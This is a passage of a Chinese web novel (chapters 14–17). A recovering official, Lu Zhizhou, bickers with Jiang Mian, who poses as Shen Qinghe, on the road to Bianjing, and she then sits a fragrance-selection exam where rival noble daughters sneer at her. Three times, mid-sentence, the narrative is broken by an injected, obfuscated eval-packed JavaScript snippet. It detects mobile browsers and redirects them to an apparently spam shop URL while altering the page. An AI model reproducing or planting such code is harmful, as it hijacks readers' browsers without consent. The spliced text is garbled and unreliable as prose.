老医官见他睁眼，连忙上前跪坐在干草堆旁，伸手搭上他的脉搏，紧绷的老脸上终于露出了一丝喜色，“烧已经退了大半，这最险的鬼门关，大人算是跨过来了。” 陆知舟微微动了动干裂的唇，只觉得喉咙里像是吞了刀子般嘶哑刺痛。 他没有立刻出声，只是强忍着痛，听着医官的絮叨。 “也是大人您洪福齐天、命不该绝。” 老医官一边收起脉枕，一边忍不住感慨，语气里透着几分后怕与庆幸，“下官给您清创时看了，那手法……啧啧，想必是这村里哪个不知轻重的乡野大夫给您处理的吧？这手段实在是太过粗糙野蛮了些！” 老医官摇了摇头，似乎对那种“非正统”的医治手段颇有微词：“日日熏艾强行发汗，又生嚼了烈性草药敷在创口上，简直是胡来，您身子娇贵，哪里经得起这么造，险些把您折腾出好歹来。” 他叹了口气，话锋一转：“不过话又说回来，这等苦寒之地，缺医少药，条件实在艰苦。那乡下大夫虽然不讲究医理规矩，行事跟个野路子似的，但歪打正着，好歹是死马当活马医，把大人您这最后一口气给硬生生吊住了。” 陆知舟静静地听着这番话，原本昏沉的大脑渐渐清明。 乡野大夫？ 他脑海中忽然闪过几幅支离破碎的画面——那是他在高烧迷离之际，有人粗暴地用冰水给他降温。 有人像捏牲口一样捏开他的下巴，强灌下一碗碗苦涩至极的汤药。 还有那浓重呛鼻的艾香，熏得他头痛欲裂、噩梦连连…… 这穷乡僻壤，哪来的什么乡野大夫。 陆知舟缓慢地转过头。 他的视线越过太医的肩膀，穿过逼仄的窝棚，最终落在了那个缩在最阴暗的角落里、抱着膝盖已经彻底力竭睡去的人影身上。 14. 衣香热 那个把他从江水里拖出来、想法设法把他命救回来的少女，此刻正缩在角落里，抱着双膝，死死护着怀里那个油纸包袱，力竭睡了过去。 她实在是太狼狈了。身上那套他早前命人置办的鹅黄褙子与百迭裙，早在逃难中被泥污浸透，哪里还看得出原有的本色。 半截系带松松垮垮地垂在臂弯，露出布满细碎擦伤的胳膊。 头发散乱，看着活像个逃荒的流民。 陆知舟那双幽深清冷的黑眸中，泛起了一丝微不可察的波澜。 若是换作原身那个生来就高高在上、娇气矜贵的世家子陆知舟来看，她这些手段的确是粗鲁、市侩又野蛮。 可他前世做过乞丐，在天寒地冻的街头讨过饭。 他比这世上任何一个高高在上的权贵都更清楚，当时她身上爆发出来的，那是底层蝼蚁最强悍的求生本能。 “没有乡野大夫。” 陆知舟的嗓音极度嘶哑，却透着一股平静的笃定。他缓慢地抬起手，修长苍白的手微微一动，指向了角落里那个脏兮兮的少女。 “是她救的我。” 老医官顺着他的目光看过去，也瞧见了角落里的姜绵。 “哦……原是小陆大人带来的粗使丫头。” 老医官恍然大悟，于是顺口夸赞了一句，语气里带着几分京官看贱籍的居高临下与随和，“那这丫头这份护主吊命的忠心倒是难得。全靠她这般没头没脑地歪打正着，才撑到了下官赶来。” 粗使丫头？ 陆知舟静静地听着，那双幽深清冷的黑眸中，泛起了一丝微不可察的波澜。 “她不是我的侍女。”陆知舟哑着嗓子道。 老医官的话音戛然而止，愣了一下：“不是侍女？那这位姑娘是……” 陆知舟缓慢地收回视线，看着眼前的医官，语气平淡道：“她是青阳县县令之女，沈清荷。” 念出“沈清荷”这三个字时，陆知舟的心底闪过一丝连他自己都觉得荒谬的纵容。 就当是……还了那个在十死无生的危机关头，竟违背了极度自私的本能，硬生生把他拖出来的人情吧。 没等老医官回过神来，陆知舟又慢条斯理地补上了一句：“沈小姐此番进京，是应召去太常寺香药库参与甄选的。这一路多亏沈小姐大义援手，陆某才得以苟全性命。” 老医官怔愣之余连连告罪，再看向姜绵时，方才那种居高临下的随和荡然无存，取而代之的是一抹恭敬、甚至带着几分刻意讨好的敬畏。 他圆滑地转了话锋，变脸比翻书还快：“这位沈小姐既是小陆大人的友人，难怪有这般非凡的气度！能在绝境中临危不乱，这般心性，以及对急救药理的掌握，属实是世所罕见，当真难得啊！” “是下官眼拙！眼拙啊！” 听着老医官这番前后判若两人、明晃晃的马屁，陆知舟眼底闪过一丝极淡的嘲弄。 他没有再开口点破，只是疲惫地阖上了眼，不置可否。 …… 太医署的人下乡颁药，是有规矩的——不能惊扰乡里，不能让寻常百姓为他们行方便。 毕竟他们代表的是皇家的恩典，要做出清正廉明的姿态来。 可如今不一样了！ 他们眼下要照料的伤患，可是汴京陆氏最金贵的嫡孙、当朝探花郎陆知舟啊！ 若是还端着那套什么两袖清风的虚伪架子，让这位金尊玉贵的爷委屈在这四面漏风的破草棚子里，万一夜里进了寒风落了病根，他们可咋跟陆家老爷子交代呢？ 领头的陈老医官只掀开那破草屋的门帘看了一眼，眉头就紧紧地皱成了一个川字。这四面漏风的地方怎么住人？ 于是，老医官二话不说，爽快地掏了银子，找村长命人腾出了村里最好、最宽敞的两间空屋——一间自然是留给陆知舟静养，另一间则给医官和学徒们挤着对付几宿。 他又格外大方地塞了几个铜板，请村里的婶子们帮忙烧些热水、熬些软烂的米粥。 有了太医署的介入，这落魄的荒野求生，总算是有了几分体面。 姜绵原本是打算继续呆在当初陆知舟养伤的破草棚里。 她个未出阁的女子，总不好跟这群太医署的大老爷们挤在一处院子里。 但陈老医官却殷勤地拦住了她。 “哎哟，沈姑娘这是要去哪？”他笑得一脸和气，满脸的褶子都透着一股子刻意讨好的谄媚，“您可是小陆大人的救命恩人，哪能让您再去睡那漏风的草棚？旁边那间刚收拾出来的干净里屋就留给您歇息，他们几个毛头小子皮糙肉厚，在外间随便挤一挤就行。” 姜绵愣了一下。这老头变脸的速度，简直比翻书还快。 她刚想虚伪地推辞两句，但陈医官已经麻利地张罗着学徒去替她铺床了。 姜绵也就没再矫情，一口答应下来。 这四天四夜，她像个陀螺一样在生死边缘连轴转，此刻神经一松懈下来，只觉得浑身的骨头都像是散了架一样酸痛。 她向村里的婶子讨了两桶烧好的热水，提进了里屋，随手落下了门闩。 直到这一刻，她终于有闲心来收拾自己了。 姜绵天生嗅觉灵敏，前世在深宫里锦衣玉食、香薰缭绕地享过福，如今更是难以忍受自己身上这股子混合的污糟气道。 她嫌恶地褪去了那身早已硬邦邦的外衫，只留了一件抹胸。 粗糙的布巾浸入滚水，绞干。然后她毫不留情地擦拭着脖颈、锁骨，粗暴地蹭开那些被荆棘沙石划出、早已结痂的细碎血口。 温热的水汽在逼仄的里屋里氤氲开来，一点点逼退了骨子里的寒气。 水声哗啦。 外院隐隐传来一阵拖沓微沉的脚步声。姜绵连眼皮都没抬——这院子眼下住满了太医署的人，有动静再正常不过。 然而，一墙之隔的门外。 陆知舟正艰难地扶着粗糙的泥墙，一步一步地往里屋的方向挪。 几刻钟前，他刚退了高热，伤口被太医重新包扎过，本该躺在榻上静养。 可他闭不上眼。 前世今生的碎片在识海里疯狂绞杀，头疼欲裂。 偏偏脑子里那个装死的冰冷系统，还在不知死活地发出机械的蜂鸣，一遍遍警告着他“姜绵剧情线脱轨”。 他的头已经很痛了！ 如此一团乱麻的情况下，偏还有个系统天天在他脑子里嗡嗡添乱，提醒她姜绵线脱轨一事…… 脱轨便脱轨罢，他陆知舟能在这虚假的话本里活成一个有两世记忆的土著，明明才是最大程度的脱轨！ 难不成这该死的系统，还指望他像原定剧情里写的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她知道这人是个什么性子，端方守礼，骨头缝里都刻着规矩，多半是真有事来找，方才那一眼也只是意外。 左右不过是个后背罢了。 她最连在在死人堆里扒衣服首饰的事都干过，一个人来去不过赤条条两坨肉而已，谁在乎这点皮肉之见？ 刚想发于本心地说句“无妨”，姜绵脑子里却猛地反应过来——自己现在可是沈清荷！ 一个娇生惯养的闺阁千金，被人瞧了半个身子，怎么能毫无波澜？ 姜绵吸了口气，硬生生将眼底那点满不在乎压了下去，转瞬便换上一副委屈腔调，连声音都软了几分。 “陆、陆郎君……” 隔着门板，她轻声道：“原来是您。小女这几日衣不解带地照料郎君，只怕自己形容狼狈，污了您的眼，这才想着收拾一番……” “可郎君如今将小女瞧了去，若是传出去，叫小女今后还怎么做人？” 门外，陆知舟原本那点愧意霎时收了个干净，只余警惕。 什么叫瞧了去？ 她这是打算借题发挥，顺势攀上他了？ 15. 药香淡 但他以为，这女子心比天高，又怎会在还没摸清他陆知舟底细的情况下随意攀附呢？ 可她一个冒牌货，哪来的底气道德绑架自己？ 她越是这般装模作样，陆知舟便越笃定她是存了借机试探、待价而沽的心思。 既然她想演这出委曲求全的戏码，那他便干脆顺水推。 果不其然，听得屋里那把柔柔的嗓音很快便带了几分以退为进的拿捏：“也是。陆郎君本家在汴京，自然瞧不上清荷这样的小门小户。清荷自知鄙薄，哪里敢——” “沈姑娘多虑了。” 陆知舟忽地出声，温温打断她。 那语气仍旧是世家子弟惯有的端正和从容，不疾不徐，听着甚至比平日还要温雅三分。 “陆氏家训森严，陆某既冒犯了姑娘，自没有让你平白受委屈的道理。” 他顿了顿，声音越发清和。 “不若这样。待我回京复命，便立刻向家中长辈禀明此事，请他们修书一封，八抬大轿——去青阳县沈家，正式提亲，如何？” “去青阳县沈家”几个字，被他说得格外清晰，不轻不重，却字字都戳在姜绵命门上。 屋内，姜绵原本还捏着腔调、预备再挤两滴泪，闻言整个人都僵了一下。 去青阳县提亲？ 真要让陆家的知道了，以他们的手段，还不得把她底细翻个底朝天？ 这下轮到姜绵心头一紧。 只是那慌乱也不过是一瞬。她眼珠一转，很快便咂摸出味——他定然也是存心捉弄她。毕竟记忆里陆知舟就是这样一个无耻小人。 “郎君此言……当真？” 姜绵隔着门板，语气一转，竟像是惊喜得有些不敢置信，“若陆家长辈当真不嫌门第寒微，愿意让清荷攀上这样一门高枝，那自然再好不过了。” 她语气里甚至带出几分掩不住的市侩欢喜，掰着手指头算起来：“如此一来，清荷也不必再辛辛苦苦往京城去香药库应选搏前程了。家里那些眼高于顶的姨娘知道我嫁去了汴京，成了探花郎夫人，只怕我母亲在后宅里，从今往后也不必再低人一头，总算能扬眉吐气一回。” 门外，陆知舟后背微微一僵。 他本是想用“沈家”来逼她知难而退，谁知这女人竟不要脸地顺杆往上爬，甚至直白地将那点贪图富贵、攀龙附凤的心思摆在了明面上。 这般势利做派，别说陆家，就是寻常官宦门第都未必瞧得上。 陆知舟一时被她堵得无话可说，偏偏屋里的姜绵却又话锋一转，自己轻飘飘把梯子撤了，倒显得十分懂事。 “不过出门在外，本就事急从权。方才也是风大，清荷知道郎君并非有意，自不会为这点事胡搅蛮缠。” 她贴着门缝，语气坦荡得很。 “再说……前几日郎君烧的不省人事，也是清荷帮陆郎君擦身的，清荷也看过陆郎君的身子，清荷不会介怀。” 言外之意：我也把你看光了，大家扯平了。你不用拿提亲来试探我，我也不用你负责，赶紧翻篇吧！ “……” 听到这话陆知舟只觉自己脑壳内“轰”的一声。 什么叫看过了陆郎君的身子？！ 他那好不容易才被太医压下去的高热，在听到这样豪放的回答后，竟又诡异地重新烧了起来，甚至比之前烧得还要猛烈。 “你……” 陆知舟猛地转过头，却又在目光触及门板后探出的衣角时，像触电般僵硬地转了回去。 屋里，姜绵懒得再隔着门板同他演那副柔弱模样，索性上前一步，将门又拉开了半掌宽。 她探出个脑袋，看着陆知舟绷得笔直的背影，顺着方才递出去的台阶问：“所以，陆郎君拖着这半死不活的身子，费这么大劲挪到小女门口，到底是有何贵干？” 陆知舟吸了口冷气，强压下脑中那股莫名其妙的燥意。 过了半晌，他才别别扭扭地转过身来，目光却并不落在她身上，只生硬地挤出一句：“所以，你究竟看了我哪里？” 姜绵愣了一下。 眼前这位素来清冷端正的世家公子，耳尖面颊竟难得显出一点薄红。 她一时分不清，那红是病里烧出来的，还是方才那一眼，又或是……因为被她看光了，竟当真有些羞恼。 总不能是后者吧。 人家可是心有所属的，哪能轻易为旁人脸红。 “郎君这话问的……” 于是姜绵干脆实话实说道，“方才不是说了嘛，为了给郎君擦洗降温，自然是……该看的不该看的，都看了。” 她顿了顿，眉梢一挑，语气里带了点促狭。 “怎么，难不成郎君也想叫小女负责？” 她怎能如此理直气壮呢？！ 陆知舟盯着眼前虚空，心底一阵荒谬的无力感翻涌上来。 他明明带着现代记忆。海边、泳池，什么场面没见过？纵然如今成了古人，他也不至于迂腐到因为被看了身子便羞愤难当。 可偏偏面对姜绵这副过分坦然、甚至还有些无所谓的样子，他胸口那口气怎么都顺不下去。 她这副轻描淡写的体贴，倒衬得他像个满脑子陈规旧礼的封建余孽。 陆知舟闭了闭眼，费力将那股说不清道不明的憋闷压下，终于从袖中摸出一只白瓷小瓶，递了过去。 “太医署的玉露生肌膏。” 姜绵顺手接了过去，指尖与陆知舟的手指轻触。 门后的少年登时便如同触电一般，赶紧收回了手。 场面一度陷入死寂，良久，门后人骤然出声：“我身子不适，先回去了。” 他语气已重新恢复成惯常的疏离冷淡，像是要把方才所有失态都一并抹平。 说完，他连看都没再看她一眼，拖着仍有些发僵的步子，强撑着从容地回了隔壁。 只留姜绵立在门后，低头看了一眼怀里那只还带着他掌心余温的白瓷药瓶。 …… 养了十几日，陆知舟总算能下地了。 一行人不敢再耽搁——陆知舟着急回去，医官队伍本就奉命往下一个县颁药，正好捎上他们。 姜绵便继续顶着“照顾病人的民女”这个身份随行，陆知舟则被裹得像个痨病鬼，躺在腾出来的药材车上，严严实实盖了好几层。 乡间小道坑洼难平，马车一路颠得厉害。 有好几回，车轮碾过深坑，车身猛地一晃，姜绵一个没坐稳，整个人便失了重心，直直朝榻上栽过去。 而每一次，陆知舟都会在后背伤口被扯得发痛时，仍伸手稳稳托住她。 那只手骨节分明，掌心微凉，力道却拿捏得正好，既不显轻浮，也不至让她真的撞上来。 肌肤相触的一瞬，狭小车厢里药香愈发浓重，连呼吸都像无处可避，轻轻一错，便要碰到一处去。 姜绵总会像被烫到似的，慌忙撑着身子退开，嘴上却偏要硬邦邦地刺他一句：“陆郎君还是省着些力气吧，伤还没好全，仔细为了扶我，又把伤口扯开了。” 陆知舟便神色自若地收回手，重新将视线投向虚空，语气淡淡：“你若撞傻了，这车里便少了个能解闷的活物，陆某这一路岂不是更难熬。” 这是在夸她呢？ 姜绵送给他一个假笑。 陆知舟从鼻腔里轻嗤了一声。 虚伪的女人。 姜绵早习惯了陆知舟对自己明里暗里的嫌弃，遂不以为然的抱着膝盖。 她盯着他看了半晌，忽然“扑哧”一声真笑了出来。 陆知舟躺在厚厚棉被里，裹得严严实实，只露出一张苍白清俊的脸，活像个被人蒸得半熟的白面馒头。 他连眼皮都没抬一下：“笑什么？” “没笑什么。”姜绵强忍着笑，嘴角却还是压不住，“就是忽然有点心疼您。像您这样的富贵郎君，怕是从来没吃过这等苦头吧。” 陆知舟这才睁开眼，凉凉扫了她一眼。 心疼？ 她那双眼里分明写满了“幸灾乐祸”四个字。 姜绵越看越想笑，索性清了清嗓子，一本正经道：“陆郎君，我觉得您名字里的那个‘舟’字，往后怕是又得改改。” 陆知舟眼皮一跳。 “改成‘躺’字才更贴切。”姜绵郑重点头，“陆知躺。您觉得如何？” “……” 陆知舟闭上眼，胸口轻轻起伏了一下，像是在极力忍耐什么，半晌才缓缓吸进一口带着苦涩药味的空气。 车厢里安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514999|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静了片刻。 姜绵等了半天，没等到他还嘴，反倒有些不习惯，忍不住往前凑了凑：“生气了？” “没有。” “当真没有？” “我只是在想。”陆知舟依旧闭着眼，语气听不出喜怒，“等我好了，该如何报答沈小姐这一路的救命之恩。” 姜绵眼皮莫名一跳。 下一瞬，陆知舟睁开眼，偏头看向她，唇角缓缓牵出一点极淡的笑意。 “毕竟若没有沈小姐，便没有今日的陆知舟。”他看着她，语调斯文得近乎温柔，偏偏每个字都像绵里藏针，“这般厚恩，陆某自然铭记于心，来日一定——厚、厚、报、答。” 最后四个字，一字一顿。 姜绵脸上的笑僵住了。 “……我就是开个玩笑。” “我也是开玩笑。” 陆知舟重新闭上眼，他摩挲着自己大拇指上被晓康赎回来的扳指，懒洋洋道，“沈小姐不必紧张。” 晓康与卫民一前一后，不远不近地护着马车。听着车厢里那有一搭没一搭、却暗流翻涌的来回试探，晓康忍不住无声咧了咧嘴。 主子这几日虽然伤着，但精神头瞧着倒是比在汴京城做闲差时还要好上几分。 其实早在数日前的岔路口，太医署的车队便转向去往别地颁药了。 临行前，老医官十分识趣地单独拨出了一辆宽敞的青帷马车给他们，又留下足量的药材，这才恭敬拜别。 马车一路专拣僻静的乡间小道走，白日赶路，夜里歇息。 后半程的路上，便只剩下他们四人。 就这样蜗行了十数日，伴随着车厢里两人默契又恶劣的互相试探，一行人竟也有惊无险，渐渐逼近了汴京地界。 马车在距离汴京城十里外的长亭停了下来。 初冬的汴京城外，寒风猎猎。远远望去，那座巍峨如巨兽般的古老城墙在铅灰色的苍穹下绵延不绝，透着一股压抑的繁华与森冷。 车厢内，那股苦涩的药香仿佛也因为即将到来的分别而变得稀薄起来。 陆知舟的伤势已大好，虽然脸色依旧有些苍白，但已经能勉强坐直身子。 他褪去了那身裹了十几日的厚重棉被，换上了晓康递来的一件花样低调却用料极佳的鸦青色大氅。 那股子清贵出尘、高不可攀的世家公子气度，随着这身衣裳的加身，自然地回到了他的身上。 只这么安安静静坐着，便已隐隐露出几分世家公子的矜贵气来，与先前那个蜷在药车里、被姜绵笑作“陆知躺”的病鬼模样判若两人。 姜绵抱膝坐在对面，看着他慢条斯理地整理着袖口。 她那双算计的眼睛里，飞快地闪过一丝清醒的暗芒。 十几日在这狭小车厢里斗嘴、试探、甚至隐隐生出的那一点“同生共死”的错觉，在这一刻，被这件鸦青色的大氅残忍地割裂开来。 他本就该是汴京城里的人。 是高门第宅，是朱门绣户，是一封帖子递出去便能惊动半个官场的陆家公子。 想到这里，姜绵心口莫名一沉，面上却仍撑着一副若无其事的模样，故意笑道：“怎么，到了自家地界，陆郎君连气色都好看了不少。果然还是京城养人。” 陆知舟闻言，抬眸看了她一眼。 看着她这副瞬间竖起满身尖刺和伪装的模样，心底莫名生出一丝细微的烦躁。 “沈小姐若是羡慕，”他慢条斯理地拢了拢身上的大氅，“待进了城，自然也能开开眼界。” 到了该分道扬镳的时候了。 姜绵没有半分迟疑。 她甚至连眼皮都没多眨一下，一把抓起那个视若珍宝的包袱，干脆地拍了拍裙摆上的褶皱，起身便要往车门外钻。 没有欲言又止，没有依依不舍，甚至连一句场面上的“救命之恩来日再报”的客套话都懒得说。 这十几日的生死相依、同吃同住，在她眼里似乎就只是一场早已银货两讫的交易。 到了站，就该下车，毫不拖泥带水。 看着她这副毫无留恋、甚至迫不及待要奔赴新前程的决绝背影，陆知舟心底那丝细微的烦躁，忽然不可遏制地放大了几分。 这女人，还真是过河拆桥。 16. 笃耨浮 就在姜绵的一只脚已经踏出车厢时，陆知舟清淡的嗓音，在身后慢条斯理地响了起来。 “沈小姐。” 姜绵回头，挑了挑眉：“郎君还有吩咐？” 陆知舟端坐在铺着软褥的榻上，鸦青色大氅将他衬得越发高不可攀。 他看着她，唇角极轻地扯出一抹嘲弄的弧度：“汴京城水深，不比在泥地里好打滚。沈小姐此番进京，既要忙着应选，又要忙着去攀那能让贵府姨娘们开眼的高枝，想必日后定是十分操劳的。” 他眼神微凉，“陆某在此，便提前祝沈小姐——凭着你这般能屈能伸的手段，早日谋得你想要的好前程。” “……可千万别在这吃人不吐骨头的汴京城里，轻易折了进去，白费了陆某一路上受的那些气。” 这番刻薄的“祝福”，换作寻常脸皮薄的姑娘，只怕当场就要难堪得红了眼。 可姜绵是谁？ 她坦然地迎上陆知舟那嘲讽的目光，不仅没生气，反而灿烂地冲他绽开了一个标准且毫无生气的笑脸。 “那就多谢陆郎君吉言了。” 姜绵顺溜地接过了他的冷嘲热讽，甚至还造作地欠了欠身，“借您吉言，待清荷他日当真攀上了高枝、谋得了好前程，定不会忘了郎君今日这番提点之恩。大人回去也好好养伤，切莫讳疾忌医，免得辜负了清荷那几日的……贴身照料。” “贴身照料”四个字一出，陆知舟那张清冷如玉的脸瞬间以肉眼可见的速度黑了下去。 这女人，果真是个油盐不进的泼皮！ 说罢，姜绵甚至没再多看陆知舟一眼，利落翻身下了马车。 陆知舟盯着那抹越来越小的影子，烦躁地冷笑了一声，一把甩下了车帘，闭目养神。 他闭了闭眼，嗓音压得很低：“卫民。” “属下在。” “去盯着她。”陆知舟靠回车壁，“若出了什么事寄，务必向我禀报。” 卫民先是一愣，随即低头应声：“是。” …… 好在上路早，姜绵掐算过时间，一切都刚刚好，她在客栈里结结实实地养精蓄锐了两日，总算是迎来了太常寺香药库甄选女使的正日子。 驿站里，姜绵将碗底最后一口软烂的白粥咽了下去，随手抹了抹嘴角。 “沈清荷，从今往后，你就是这汴京城里的人了。” 姜绵拍了拍自己的小脸，深深地吸了一口这京城的繁华气。 随后，她拿出了那一路死活没舍得花多少的碎银子，先去东市的成衣铺里置办了身行头。 旧衣早已换作月白夹棉春衫，外罩一件粉缎比甲，领口袖口隐隐滚着一圈细绒御冬。 她又叫人替自己洗了头，熏去一身奔波带来的尘气，她只简简单单簪一支温润白玉簪，耳畔垂两粒细碎珍珠，看着素净清雅，半分不显寒酸。 待从梳头铺出来时，已是个体体面面，规矩的小圣上闺秀模样，再瞧不出半点逃难的狼狈。 回到客栈，姜绵眼都不眨，嫌弃地将那一身旧衣扔进了炭盆里。 看着火苗贪婪地将那段如履薄冰的逃亡路烧成灰烬，她没有半分耽搁，径直奔赴太常寺。 香药库今春选人十分严苛，只取六名女使，可来碰运气的女子却远不止这个数。 初筛设在外院偏厅，查验名帖，核实家世，紧接着便是最浅的一轮辨香考较。姜绵跨进门槛时，厅内已是裙角飞扬，坐满了各家的贵女。 她没有抬头四处打量，只低调地挑了个最不起眼的角落落座。 第一轮考得并不深，不过是将常见香材一字排开，叫众人写名目、性味、优劣。 这考题对旁人或许要绞尽脑汁，对她而言却简直如探囊取物。 前世在宫里，她见识过的名贵奇香不知凡几，哪怕是闭着眼，也能精准地分辨出个七八分。 更何况她天生生了一副灵敏的鼻子，就哪怕是一盘几味香粉混在一处，寻常人闻着只觉得混在一处都是香，她却能像庖丁解牛般，把里头细微的差别一层一层地剥离出来。 但她不想在此时强出头，便只克制地写了份中规中矩的答卷。 既不扎眼，也不至于沦落垫底。 待到日头偏过中天，初筛的红榜贴了出来。百余余人里刷下去九成，只留十二人进第二轮。姜绵的名字安分的压在中间，不高不低，如她所料。 她扫了一眼榜单，转身随着通关的人群往内院走去，心底却无端生出几分恍如隔世的嘲弄。 前世她进太常寺时，哪里用得着这般费心筹谋？ 那时候，她只消跟在李亦棠的身后，做个提匣递帖的乖巧陪衬。高门嫡女的一句话，便能抵过旁人十年的枯坐苦研。 主考女官痛快地卖了李家面子，跟在李亦棠身后，连带着她都顺顺当当地跨进了门槛。 而前世真正的沈家县令千金，却是实打实一轮轮考进去的。 好在她姜绵，也从来不是什么腹笥空虚的草包。 这汴京城里的好位置，多的是不公地被权贵世家早就内定好的“萝卜坑”。但只要她拼尽全力，那狭窄的真正留给底下人的缝隙里，就必定得有她姜绵的一席之地。 内院的景致比外头清静得多。 几道素雅的青纱帘垂在游廊下，寒风一过，隐隐送来些药香与清雅的冷香。 第二轮考较还未开锣，过了初筛的十几个姑娘们皆三三两两地立在廊下候着分题。 姜绵本想低调地寻个避风的角落待着，谁知前脚刚迈进月洞门，一道娇蛮的嗓音便率先撞进了耳中。 “若这一轮还是考那些寻常的烂木头，那这甄选不办也罢，真是平白污了人的鼻子。” 说话的正是林半夏。 她高调地站在人群正中，周围众星捧月般簇拥着好些个刻意逢迎的世家小姐。 她今日穿着一身水红色衣裳，将本就凌厉的眉眼衬得越发张扬。 腕上那对沉甸甸的赤金绞丝镯，随着她说话的动作磕碰在案角，在腊月汴京的清寒里，撞出一串清脆又有些聒噪的叮当声响。 她父亲林衍之乃是江南东路转运副使。近来因着卖力地替温郡王办差，叫林家在京城里正处于烈火烹油的势头上。 她自己也享受这股子权势的滋味，她自己也最爱把这些势穿戴叫嚷在身上，半点不掩锋芒。 “我父亲前些日子，刚特意从江南特地送来了一大匣上乘的笃耨香，”林半夏高高地抬着下巴，漫不经心地拨了拨织金的袖口，“太常寺若拿那个级别的香来考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她今日是直接乘着软轿进了这内院，根本未曾去外院经历那第一轮的初筛。 可满院子方才还因为争抢名额而暗中较劲的姑娘们，此刻竟无一人觉得有何不妥，更无一人敢出言质疑半句。 毕竟，那可是百年书香门第李氏的嫡女。 其父李承安算作文官之首，李家的底蕴放眼整个汴京城都是有口皆碑的。 人家自幼在名贵香料堆里熏陶出来的手艺，自然是毋庸置疑。 这明目张胆的特权落在她身上，在所有人眼里，仿佛都是理所应当的。 谁的目光能控制住不落在她身上？ 紧跟着，四下才又热闹起来。 听得恭维声连连。 “李姑娘来了。” “听闻李姑娘前些日子还陪着翰林院校理旧籍，连香“可不是？上回文会见她解那《香谱》，我到今日还叹服。” “这回香药库甄选，若是李姑娘不入选，那才真叫人意外了。” 这默契的逢迎，不过短短几句话，便自然地将人捧到了云端之上。 17. 沉水香 可偏偏，李亦棠就是有那个底气，能体面地接得住这满院的恭维，并享受到这等特权。 她一一含笑应过，既不冷落人，也不显得刻意亲近。有人夸她博闻，她便把话头轻轻带过。 有人问起香谱，她也只说自己不过略翻了两页，哪里称得上懂。三言两语，场面便被她稳稳托住，林半夏那点张扬瞬间被衬得像暴发户。 姜绵站在廊柱后头，静静看着这一幕，心里说不上是什么滋味。 前世这个时候，李亦棠已经凭着本事收拾好了家中的一众姨娘，叫那个惯是跋扈的庶妹都不得不老实起来。 京中人人知晓那李家嫡女是怎样的温婉通透，手腕玲珑。 当初她也是这样跟在李亦棠身后，看她这样被人簇拥，被人艳羡，看她轻飘飘一句话便能叫众人服帖。 这念头才刚掠过去，却见那顶青幄软轿后头，又局促地停下了一顶稍逊一筹的小轿。 打帘下来的姑娘模样倒也算得上秀丽可人，正是李亦棠庶出的妹妹李亦舒。 她今日显然是费一番心思装扮。身穿锦缎，头面整齐。 可这满头珠翠堆砌，越是想争奇斗艳，就越显得用力过猛，活像只急于开屏、却偏偏羽毛未丰的寒酸雏雀。 众人目光早被李亦棠自然地吸拢了去，她这一身刻意的隆重，反倒显得多余且尴尬。 李亦舒落地时，面上虽还强撑着笑，藏在袖中的指尖却用力地绞紧了丝帕，连骨节都泛了白。 她平生最恨，便是这种时候。 明明同为李家女儿，旁人一见李亦棠，便是极其艳羡地赞门第、赞学识、赞气度。 可轮到她这个庶女，就仿佛是个微不足道的添头。她若不多试着表现自己、不多抢一句话头，这满院子的人甚至未必会记得她李亦舒今日也来了。 她站在李亦棠身后，看着那些围拢过去的目光，心里那股郁气几乎压不住。 可她不敢冲着李亦棠撒。 嫡庶之别在外犹如天堑，李亦棠又惯会做人，当着外人面，她若露出半分不恭，吃亏的只会是自己。 她只能忍着，直到她那满含极其刻薄的目光一转，精准地落在了人群最后头的姜绵身上。 姜绵今日虽已尽力收拾得体面，可到底是生面孔，孤零零站在那儿，无人寒暄，无人引见，只以为她的低调是小地方出来的拘谨。 这样的乡下丫头，不是现成送上门来给她立威、找存在感的么？ 李亦舒恶劣地挑了挑唇角。 恰好这时，第二轮名册刚贴上来，过了初筛的十二人都在这里。李亦舒眼梢一扫，瞥见沈清荷的名字赫然在列，心底那股闷火顿时找到了出口。 她掩着帕子，先轻轻“呀”了一声。 这一声不高不低，偏能叫周围人都听见。 “这位姑娘……”她故意顿了顿，像是在辨认，“沈……沈清荷，是吧？” 姜绵抬眸看她，没有接话。 李亦舒见她这副模样，越发认定她是个好拿捏的，笑意里便添了几分说不出的轻慢：“我方才在外院时，竟没留意还有你这样的人物。如今一看，倒是我眼拙了。” 她嘴上虽说着“眼拙”，那目光却犹如菜刀刮鱼鳞一般，将姜绵从头刮扫到脚，又一路放肆地刮到她的身后——连个随侍丫头都没有…… 这一套下来一气呵成，仿若她不过是待价而沽的器物。 真是一股廉价味道，李亦舒心想。 周遭本就极其微妙气氛瞬间被挑明，好几道意味深长的目光立刻顺着看了过来。 李亦舒见有人捧场，顿觉快意。她极其做作地用帕子掩了掩鼻尖，仿佛闻到了什么穷酸气似的，轻声嗤笑道：“不知外头那轮是怎么核筛的，竟连这样的人也放进了第二轮。香药库又不是市井铺子，这京里头，多少尊贵娇养、自幼便在名贵香料里熏陶的贵女都被筛下去了……” “若什么阿猫阿狗都能蹿进来闻一闻，还放进宫里去服侍贵人、命妇，往后岂不乱了章法？” 她说完，极其得意地拿眼尾扫着姜绵，笑得连肩头的披帛都在发颤。 这话说的虽没指名道姓，但到底是恶心人。 